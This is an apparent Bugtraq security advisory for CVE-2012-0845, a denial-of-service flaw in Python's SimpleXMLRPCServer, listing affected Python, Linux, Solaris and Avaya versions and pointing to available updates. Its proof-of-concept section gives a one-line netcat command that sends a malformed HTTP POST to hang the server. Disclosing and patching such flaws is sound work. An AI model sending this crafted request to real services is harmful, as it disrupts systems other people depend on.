Python SimpleXMLRPCServer Denial Of Service Vulnerability

BID:51996

Info

Python SimpleXMLRPCServer Denial Of Service Vulnerability

Bugtraq ID: 51996
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2012-0845
Remote: Yes
Local: No
Published: Feb 14 2012 12:00AM
Updated: Apr 13 2015 08:30PM
Credit: Dan Callaghan
Vulnerable: Ubuntu Ubuntu Linux 11.10 i386
Ubuntu Ubuntu Linux 11.10 amd64
Ubuntu Ubuntu Linux 11.04 powerpc
Ubuntu Ubuntu Linux 11.04 i386
Ubuntu Ubuntu Linux 11.04 ARM
Ubuntu Ubuntu Linux 11.04 amd64
Ubuntu Ubuntu Linux 10.04 sparc
Ubuntu Ubuntu Linux 10.04 powerpc
Ubuntu Ubuntu Linux 10.04 i386
Ubuntu Ubuntu Linux 10.04 ARM
Ubuntu Ubuntu Linux 10.04 amd64
Sun Solaris 11
Sun Solaris 10
Red Hat Enterprise Linux Workstation Optional 6
Red Hat Enterprise Linux Workstation 6
Red Hat Enterprise Linux Server Optional 6
Red Hat Enterprise Linux Server 6
Red Hat Enterprise Linux HPC Node Optional 6
Red Hat Enterprise Linux HPC Node 6
Red Hat Enterprise Linux Desktop Optional 6
Red Hat Enterprise Linux Desktop 6
Python Software Foundation Python 3.2.2
Python Software Foundation Python 2.7.2
Oracle Enterprise Linux 6.2
Oracle Enterprise Linux 6
Mandriva Linux Mandrake 2011 x86_64
Mandriva Linux Mandrake 2011
Mandriva Linux Mandrake 2010.1 x86_64
Mandriva Linux Mandrake 2010.1
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
Gentoo Linux
Avaya Aura Experience Portal 6.0
+ Avaya Communication Manager Server DEFINITY Server SI/CS
+ Avaya Communication Manager Server S8100
+ Avaya Communication Manager Server S8300
+ Avaya Communication Manager Server S8500
+ Avaya Communication Manager Server S8700
Not Vulnerable:

Discussion

Python SimpleXMLRPCServer Denial Of Service Vulnerability

Python is prone to a denial-of-service vulnerability.

An attacker can exploit this issue by sending specially crafted HTTP POST request.

Successful exploits will allow attackers to cause a denial-of-service condition.

Python versions 2.7.2 and 3.2.2 are vulnerable; other versions may also be affected.

Exploit / POC

Python SimpleXMLRPCServer Denial Of Service Vulnerability

An attacker can use readily available tools to exploit this issue.

The following exploit is available:

$ echo -e 'POST /RPC2 HTTP/1.0\r\nContent-Length: 100\r\n\r\nlol bye' | nc localhost 12345

Solution / Fix

Python SimpleXMLRPCServer Denial Of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.


MandrakeSoft Enterprise Server 5 x86_64

MandrakeSoft Enterprise Server 5

Mandriva Linux Mandrake 2010.1 x86_64

Mandriva Linux Mandrake 2010.1

Mandriva Linux Mandrake 2011 x86_64

Mandriva Linux Mandrake 2011

References

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